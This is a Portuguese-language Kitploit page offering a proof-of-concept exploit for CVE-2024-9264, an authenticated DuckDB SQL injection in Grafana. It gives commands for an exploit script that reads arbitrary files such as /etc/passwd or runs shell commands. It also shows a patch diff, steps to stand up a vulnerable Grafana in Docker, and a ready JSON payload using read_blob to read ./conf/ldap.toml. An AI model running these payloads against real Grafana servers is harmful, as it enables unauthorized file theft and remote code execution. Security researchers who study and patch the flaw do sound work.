CVE-2024-9264 — Exploit para leitura arbitrária de arquivos e RCE no Grafana (CVE-2024-9264) | Kitploit

CVE-2024-9264

Injeção de SQL DuckDB pós-autenticação no Grafana (RCE, Leitura de Arquivos)

Prova de Conceito (PoC)

Esta PoC demonstra a exploração do CVE-2024-9264 usando um usuário autenticado para realizar uma consulta SQL no DuckDB e ler um arquivo arbitrário no sistema de arquivos ou executar código arbitrário remotamente.

Código arbitrário só pode ser executado no Grafana v11.0.0.

Arquivos podem ser lidos em todas as versões vulneráveis.

Configuração: Instale as dependências necessárias via:

pip install -r requirements.txt

Uso

Leitura de Arquivo (Universal):

python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

Execução de comando (apenas v11.0.0)

python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}

@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

Inicie o Grafana: Execute o Grafana com a versão 11.0.5:

docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5

Modifique uma Expressão: Crie um dashboard com uma expressão como "Math", intercepte a requisição com o Burp e altere o tipo de datasource de math para sql.

Uma requisição HTTP será enviada para /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

Abaixo está o JSON mínimo necessário para realizar uma consulta DuckDB para ler um arquivo arbitrário como ./conf/ldap.toml:
```
{
  "queries": [
    {
      "refId": "B",
      "datasource": {
        "type": "__expr__",
        "uid": "__expr__",
        "name": "Expression"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
      "window": ""
    }
  ],
  "from": "1729313027261",
  "to": "1729334627261"
}
```

CVE-2024-9264

Mais Populares

Visão Geral da Vulnerabilidade

Encontrando o Patch

Explorando a Vulnerabilidade

Probabilidade de Exploração

Mitigação

Créditos